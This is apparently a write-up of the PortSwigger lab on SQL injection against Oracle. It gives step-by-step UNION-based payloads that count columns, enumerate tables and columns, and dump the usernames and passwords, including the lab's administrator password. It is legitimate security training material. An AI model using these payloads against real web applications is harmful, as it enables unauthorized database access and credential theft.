---
description: >-
  https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle
---

# SQL injection attack, listing the database contents on Oracle

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2F71kVO0Lcw6ES1CPjsCQD%2F1.png?alt=media&#x26;token=bd9bc687-a4ed-4986-9e64-4b2092e025af" alt=""><figcaption></figcaption></figure>

Let's filter for `Accessories`.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FtnIys8uTdRIAoThGlA4x%2F2.png?alt=media&#x26;token=c3a5d1fc-4322-4543-a2ad-dba898b14d97" alt=""><figcaption></figcaption></figure>

Since we are proxying the traffic through Burp Suite, we can go to the `Proxy > HTTP History` tab to view this request.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FJWuJmfthpLxlCigHXtvA%2F3.png?alt=media&#x26;token=053288ef-90a7-4264-9744-8a710e2ff970" alt=""><figcaption></figcaption></figure>

Let's forward this request to the `Repeater` for further modification.

Once in the `Repeater`, let's set the `category` parameter to the following:

```
' UNION SELECT 'test' FROM dual--
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FrnyDrwR7tLdycUUNhvei%2F4.png?alt=media&#x26;token=dcb5f931-3e15-4ac5-952e-48a95eeb4e05" alt=""><figcaption></figcaption></figure>

Since the application returns an error, we know that the number of columns in the current query is more than 1.

Let's set the `category` parameter to the following:

```
' UNION SELECT 'test', 'test' FROM dual--
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FGBpieVZKuQrHUnXFcnf8%2F5.png?alt=media&#x26;token=dd74b560-6ea8-41cd-b744-bc3898375dc4" alt=""><figcaption></figcaption></figure>

Now that we know the current query has two columns, we can start enumerating the tables.

```
' UNION SELECT table_name, NULL FROM all_tables--
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FlsD1I2WEDaxSVaqV7ehX%2F6.png?alt=media&#x26;token=fb6232a5-aea8-44d8-9c21-2fd684573854" alt=""><figcaption></figcaption></figure>

Next, we need to find the columns present in the `USERS_EABGJF` table. We can do that by setting the `category` parameter to the following:

```
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name='USERS_EABGJF'--
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FFIQLM7TDvoI44GXrRZOQ%2F7.png?alt=media&#x26;token=ce86cdf3-1eed-4e18-8987-f46c10d043d4" alt=""><figcaption></figcaption></figure>

We can now retrieve the usernames and password from the `USERNAME_LIVOZB` and `PASSWORD_XJPXQQ` columns respectively.&#x20;

For that we have to set the `category` parameter to the following:

```
' UNION SELECT USERNAME_LIVOZB, PASSWORD_XJPXQQ FROM USERS_EABGJF--
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FuktjuKUEHnN3n6DZlC1E%2F8.png?alt=media&#x26;token=25aa6798-6185-463a-8eda-f63a5b6f5c27" alt=""><figcaption></figcaption></figure>

We can now login as the administrator using the following credentials:

| Username      | Password             |
| ------------- | -------------------- |
| administrator | ayzzulz0enewtllx1szu |

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FtDLsUrMmwUwkEI9BChax%2F9.png?alt=media&#x26;token=fe0cf086-9fe4-4e06-9f5b-f305be2dcbe7" alt=""><figcaption></figcaption></figure>

We have solved the lab

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FQknCxgfHUyjaQ0ynhLE1%2F10.png?alt=media&#x26;token=b2367741-c8e4-4c11-a79a-f876e5e4034f" alt=""><figcaption></figcaption></figure>
